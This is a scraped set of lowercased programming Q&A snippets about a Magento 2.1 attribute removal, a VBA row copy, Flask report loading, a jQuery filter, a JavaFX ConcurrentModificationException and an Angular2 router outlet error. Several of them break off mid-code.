how remove product attribute in backand controller in magento 2.1? in magento 1.* was: $setup = mage::getresourcemodel('catalog/setup','catalog_setup'); $setup->removeattribute('catalog_product','my_attribute'); edit: not offer me use install/uninstall methods. read attention question: "remove attribute in backand controller" edit 2: find answer namespace company\module\controller\adminhtml\shoptheme; //optional use magento\eav\setup\eavsetup; use magento\eav\setup\eavsetupfactory; use magento\framework\setup\moduledatasetupinterface; class removeattribute extends \magento\backend\app\action { private $datasetup; private $eavsetupfactory; public function __construct( \magento\backend\app\action\context $context, \magento\framework\setup\moduledatasetupinterface $datasetup, \magento\eav\setup\eavsetupfactory $eavsetupfactory ) { $this->datasetup = $datasetup; $this-

vba - Copy row if cell contains a specific text out of a sentence -

i'm still new macros , appreciate if me figure out. column "a" in excel contains several row below (one column , no space between rows): design: 0120 model -traditional color - red design:0150 copybook - quantity specified design: 0180 still in progress i need find cell contains "design" , copy of information below cell next sheet, find other cell contains word "design" , copy of information below sheet. how can in vba? entire cell contains "design:0150",which made hard me search word "design" it's part of sentence in cell. , how can automate copy , paste of each "design" set? you can try using line in code: if left(cell.value, 6) = "design" this can serve purpose here. if doesn't work let know full code can better.

loading and refreshing dynamic html files in Python Flask -

i have web application creating going run on local (iis) server. have reports generated in local html files(currently put in templates folder) viewed browser. reports (html files) updated daily incorporate new information , plots (bokeh). perf2.html file called inside report.html using url_for{{'performance_report'}} routes.py file. my folders organized /main_app.py /routes.py /static /perf1.html /templates /perf2.html /report.html my question is: best way load these files , have browser or server refresh picks change. okay put them in templates folder or static folder. when put them in static folder , change them, browser not refresh. web app used few people. understand can put these html reports in static folder (which think faster). @ end of web app development, have few hundred html report files of 20kb each. nice not have create routes each html file using render_template. also note have not put on iis yet. using flask's development server. @app

jquery filter using class not working -

i adding disabled property input element having class .vehicleisininvoice like $(".vehicleisininvoice :input").prop("disabled", true); it works correct. have exclude input element under class .excludefromdisabled for using jquery filter $(".vehicleisininvoice :input").filter('.excludefromdisabled').prop("disabled", true); but didn't work me. in short class strchture .vehicleisininvoice -> .excludefromdisabled -> input elements html of page <div class="vehicleisininvoice"> <div class="details"> <input type="text"> </div> <div class="excludefromdisabled"> <input type="text"> <input type="text"> </div> </div> the filter() method filter input element not parent, instead update selector. $(".vehicleisininvoice.excludefromdisabled :inpu

exception - java.util.ConcurrentModificationException in javafx timeline -

this question has answer here: iterating through collection, avoiding concurrentmodificationexception when removing in loop 17 answers i haven't made thread myself. have 1 timeline runs beginning end of program follows: timeline timeline = new timeline( new keyframe(duration.millis(timeline_delay), event -> { intruderslist.foreach(intruder::action); towerslist.foreach(tower::action); otheractiveslist.foreach(active::action); })); timeline.setcyclecount(timeline.indefinite); timeline.play(); and when die method of intruder class called, concurrent modification exception. first, don't understand how timeline works! create new threads or what? , happen if example have timeline task every 10 seconds , task takes 15 seconds done! , second indeed: how can fixed!? public void die() { this.getcell().g

angular - Angular2 Router: Cannot find primary outlet to load 'HomeComponent' -

tried switch new router in version "@angular/router": "3.0.0-beta.2" in combination "@angular/*": "2.0.0-rc.4", following official docs on componentrouter. however, i'm facing issue when trying load app default homecomponent: cannot find primary outlet load 'homecomponent' it seems has using templateurl , external html file instead of using inline template style. homecomponent not shown in window , error printed console. however, when use link home component gets shown second hand. as change from templateurl: 'home.html' to template: '<router-outlet></router-outlet>' error gone, homecomponent shown , routing works expected. is known issue? work using templateurl? there have respect work? the problem was, due app loading screen, <router-outlet></router-outlet> did not exist yet, due race condition. if need hide html part containing outlet, use [hidden] instead o